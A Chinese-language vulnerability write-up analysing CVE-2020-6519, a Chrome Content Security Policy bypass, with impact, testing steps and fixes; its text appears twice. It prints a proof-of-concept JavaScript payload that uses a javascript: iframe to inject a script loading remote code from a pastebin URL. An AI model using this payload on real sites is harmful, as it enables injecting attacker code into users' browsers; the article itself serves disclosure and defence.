挖洞经验 | Chrome浏览器的CSP策略绕过漏洞
字数 1220 2025-08-15 21:31:46

Chrome浏览器CSP策略绕过漏洞(CVE-2020-6519)深度分析

漏洞概述

CVE-2020-6519是Chrome浏览器中的一个内容安全策略(CSP)完全绕过漏洞,影响2019年3月至2020年7月发布的所有Chrome版本。该漏洞允许攻击者绕过Chrome内置的CSP策略,在受影响的网站上执行任意JavaScript代码。

受影响范围

  • 浏览器:基于Chromium内核的Chrome、Opera和Edge浏览器
  • 平台:Windows、Mac和Android操作系统
  • 版本:2019年3月至2020年7月发布的所有Chrome版本
  • 用户量:超过20亿Chrome用户(占浏览器市场65%以上)
  • 受影响网站:包括Facebook、WellsFargo、Gmail、Zoom、Tiktok、Instagram、WhatsApp等众多大型网站

技术背景:CSP简介

内容安全策略(Content Security Policy, CSP)是一种网站安全机制,它通过HTTP响应头告诉浏览器哪些外部资源可以被加载和执行。CSP的主要目的是防范跨站脚本(XSS)攻击,通过限制脚本执行来源来增强网站安全性。

漏洞原理

正常情况下,当网站设置了CSP策略时,浏览器会阻止不符合策略的脚本执行。例如:

top._CVE_URL = 'https://pastebin.com/raw/dw5cWGK6';
var s = document.createElement("script"); 
s.src = top._CVE_URL; 
document.body.appendChild(s);

这段代码会因为违反CSP策略而被浏览器阻止执行。

然而,通过使用javascript:协议的iframe,攻击者可以完全绕过CSP限制:

top._CVE_URL = 'https://pastebin.com/raw/dw5cWGK6';
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

这种技术简单粗暴地突破了Chrome浏览器的CSP策略限制。

漏洞影响分析

  1. 网站分类

    • 受影响网站:仅配置了一般CSP策略的网站
    • 不受影响网站:配置了严格CSP策略并使用服务端nonce或hash校验的网站,如Twitter、GitHub、LinkedIn等
  2. 实际危害

    • 攻击者可向网站客户端用户注入恶意代码
    • 可实现与任意网站相关域名的通信
    • 结合其他漏洞(如XSS)可造成更严重危害
  3. 漏洞评级:中危(CVSS 6.5)

漏洞测试方法

  1. 编写测试脚本,使用Chrome开发者工具进行测试
  2. 测试中调用的外部JS脚本链接示例:https://pastebin.com/raw/XpHsfXJQ
  3. 通过观察脚本是否被执行来判断网站是否受影响

修复方案

对于网站运营方

  1. 实施严格的CSP策略规则
  2. 加入服务端的nonce或hash校验措施
  3. 部署JS脚本和恶意代码注入检测机制
  4. 采用多层安全策略共同防护

对于终端用户

更新Chrome浏览器至84或更高版本,该版本已包含谷歌的修复补丁。

漏洞价值

该漏洞最终获得谷歌$3,000的漏洞奖励,反映了其实际危害程度和影响范围。

总结

CVE-2020-6519暴露了Chrome浏览器CSP实现中的一个严重缺陷,虽然本身评级为中危,但与网站安全配置结合可能产生重大安全风险。网站运营者应重视CSP策略的严格配置,用户应及时更新浏览器以确保安全。

Chrome浏览器CSP策略绕过漏洞(CVE-2020-6519)深度分析 漏洞概述 CVE-2020-6519是Chrome浏览器中的一个内容安全策略(CSP)完全绕过漏洞,影响2019年3月至2020年7月发布的所有Chrome版本。该漏洞允许攻击者绕过Chrome内置的CSP策略,在受影响的网站上执行任意JavaScript代码。 受影响范围 浏览器 :基于Chromium内核的Chrome、Opera和Edge浏览器 平台 :Windows、Mac和Android操作系统 版本 :2019年3月至2020年7月发布的所有Chrome版本 用户量 :超过20亿Chrome用户(占浏览器市场65%以上) 受影响网站 :包括Facebook、WellsFargo、Gmail、Zoom、Tiktok、Instagram、WhatsApp等众多大型网站 技术背景:CSP简介 内容安全策略(Content Security Policy, CSP)是一种网站安全机制,它通过HTTP响应头告诉浏览器哪些外部资源可以被加载和执行。CSP的主要目的是防范跨站脚本(XSS)攻击,通过限制脚本执行来源来增强网站安全性。 漏洞原理 正常情况下,当网站设置了CSP策略时,浏览器会阻止不符合策略的脚本执行。例如: 这段代码会因为违反CSP策略而被浏览器阻止执行。 然而,通过使用 javascript: 协议的iframe,攻击者可以完全绕过CSP限制: 这种技术简单粗暴地突破了Chrome浏览器的CSP策略限制。 漏洞影响分析 网站分类 : 受影响网站 :仅配置了一般CSP策略的网站 不受影响网站 :配置了严格CSP策略并使用服务端nonce或hash校验的网站,如Twitter、GitHub、LinkedIn等 实际危害 : 攻击者可向网站客户端用户注入恶意代码 可实现与任意网站相关域名的通信 结合其他漏洞(如XSS)可造成更严重危害 漏洞评级 :中危(CVSS 6.5) 漏洞测试方法 编写测试脚本,使用Chrome开发者工具进行测试 测试中调用的外部JS脚本链接示例: https://pastebin.com/raw/XpHsfXJQ 通过观察脚本是否被执行来判断网站是否受影响 修复方案 对于网站运营方 实施严格的CSP策略规则 加入服务端的nonce或hash校验措施 部署JS脚本和恶意代码注入检测机制 采用多层安全策略共同防护 对于终端用户 更新Chrome浏览器至84或更高版本,该版本已包含谷歌的修复补丁。 漏洞价值 该漏洞最终获得谷歌$3,000的漏洞奖励,反映了其实际危害程度和影响范围。 总结 CVE-2020-6519暴露了Chrome浏览器CSP实现中的一个严重缺陷,虽然本身评级为中危,但与网站安全配置结合可能产生重大安全风险。网站运营者应重视CSP策略的严格配置,用户应及时更新浏览器以确保安全。